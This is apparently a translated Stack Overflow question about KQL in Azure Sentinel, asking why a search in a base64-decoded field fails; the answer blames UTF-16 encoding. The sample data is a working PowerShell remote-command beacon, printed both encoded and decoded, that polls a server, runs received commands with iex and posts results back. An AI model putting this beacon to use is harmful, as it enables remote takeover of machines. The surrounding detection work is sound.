【问题标题】:KQL string function not parsing all charactersKQL 字符串函数不解析所有字符
【发布时间】:2022-10-13 00:21:39
【问题描述】:

我在为 KQL 中的值搜索字段时遇到了困难。

我正在搜索的字段是通过使用内置函数 base64_decode_tostring() 解码 base64 编码字符串得到的。我正在解码的字符串是:

JABzAD0AJwAxADcAMgAuADIAMAAuADEAMAAuADIAOgA4ADAAOAAwACcAOwAkAGkAPQAnADYAOAAwADcAOQBhADAAYgAtADMANgA5ADAAMwAyADEAZAAtADEANgA2ADgAZABjADYAMQAnADsAJABwAD0AJwBoAHQAdABwADoALwAvACcAOwAkAHYAPQBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBVAHIAaQAgACQAcAAkAHMALwA2ADgAMAA3ADkAYQAwAGIAIAAtAEgAZQBhAGQAZQByAHMAIABAAHsAIgBYAC0AOQAyAGQAOQAtAGEAYgA2ADEAIgA9ACQAaQB9ADsAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQB7ACQAYwA9ACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIAAkAHAAJABzAC8AMwA2ADkAMAAzADIAMQBkACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAWAAtADkAMgBkADkALQBhAGIANgAxACIAPQAkAGkAfQApAC4AQwBvAG4AdABlAG4AdAA7AGkAZgAgACgAJABjACAALQBuAGUAIAAnAE4AbwBuAGUAJwApACAAewAkAHIAPQBpAGUAeAAgACQAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgAC0ARQByAHIAbwByAFYAYQByAGkAYQBiAGwAZQAgAGUAOwAkAHIAPQBPAHUAdAAtAFMAdAByAGkAbgBnACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHIAOwAkAHQAPQBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABwACQAcwAvADEANgA2ADgAZABjADYAMQAgAC0ATQBlAHQAaABvAGQAIABQAE8AUwBUACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAWAAtADkAMgBkADkALQBhAGIANgAxACIAPQAkAGkAfQAgAC0AQgBvAGQAeQAgACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAZQArACQAcgApACAALQBqAG8AaQBuACAAJwAgACcAKQB9ACAAcwBsAGUAZQBwACAAMAAuADgAfQA=

此字符串解码为我在 decodedString 列中所期望的:

$s='172.20.10.2:8080';$i='68079a0b-3690321d-1668dc61';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/68079a0b -Headers @{"X-92d9-ab61"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/3690321d -Headers @{"X-92d9-ab61"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/1668dc61 -Method POST -Headers @{"X-92d9-ab61"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}

可以在结果表中看到:

当我尝试使用| where decodedString contains "X-92d9-ab61" 子句检测解码字符串中的字符串值时,哨兵说没有结果。但是我可以在上面的decodedString 列中清楚地看到这个字符串。

事实上,where 子句不会检测到任何内容,除非它是 decodedString 列中包含的单个字符。

为什么它只会检测单个字符?为什么它检测不到一个以上的字符串?

【问题讨论】:

  • 不可复制(因为您没有共享数据样本)并且似乎没有多大意义。为什么要解码整个数据而不是只编码搜索词?
  • PS如果您的函数接受有效负载作为字符串,将其转换为字符串有什么意义?
  • 我不能将数据集共享为机密。它接受字符串作为有效负载的目的是因为它将 base64 编码的字符串解码为人类可读的 UTF-8 字符串。然后我想在 UTF-8 中搜索值,但我不能,因为 base64_decode_tostring() 方法只返回看起来像 char 数组的东西。正如我所说,当我尝试在 decodedString 中搜索多个字符时,它没有显示任何结果 - 但是,当我对一个或更少字符使用 where 子句时,我可以清楚地看到结果
  • (1)您不需要共享数据;您需要提供一条带有虚构数据的记录。(2)否。(payload:string) 表示有效负载是字符串类型或在传递给函数时转换为字符串。 tostring(payload) 毫无意义。

标签: kql azure-sentinel


【解决方案1】:

ADX(Azure 数据资源管理器)又名 Kusto,是用作 Azure Sentinel 数据库的服务。
正如 ADX 文档所述 "Internally, strings are encoded in UTF-8"

根据您描述的现象以及您提供的字符串(“AGUAcgBzACAAQAB7ACIAWAAtADkAMgBkADkALQBhAG”),您的原始数据似乎采用不同的编码,很可能是 UTF-16BE,因此在摄取后您会看到您的文本是由 null 分隔的字符特点。

像这样的东西:

推荐的解决方案是在将数据引入 Azure Sentinel 之前将其转换为 UTF-8。

【讨论】:

  • 我已经更新了这个问题,希望这会让它更容易理解
猜你喜欢
  • 1970-01-01
  • 2016-11-03
  • 1970-01-01
  • 1970-01-01
  • 2015-01-13
  • 2022-07-06
  • 1970-01-01
  • 2020-06-21
  • 1970-01-01
相关资源
最近更新 更多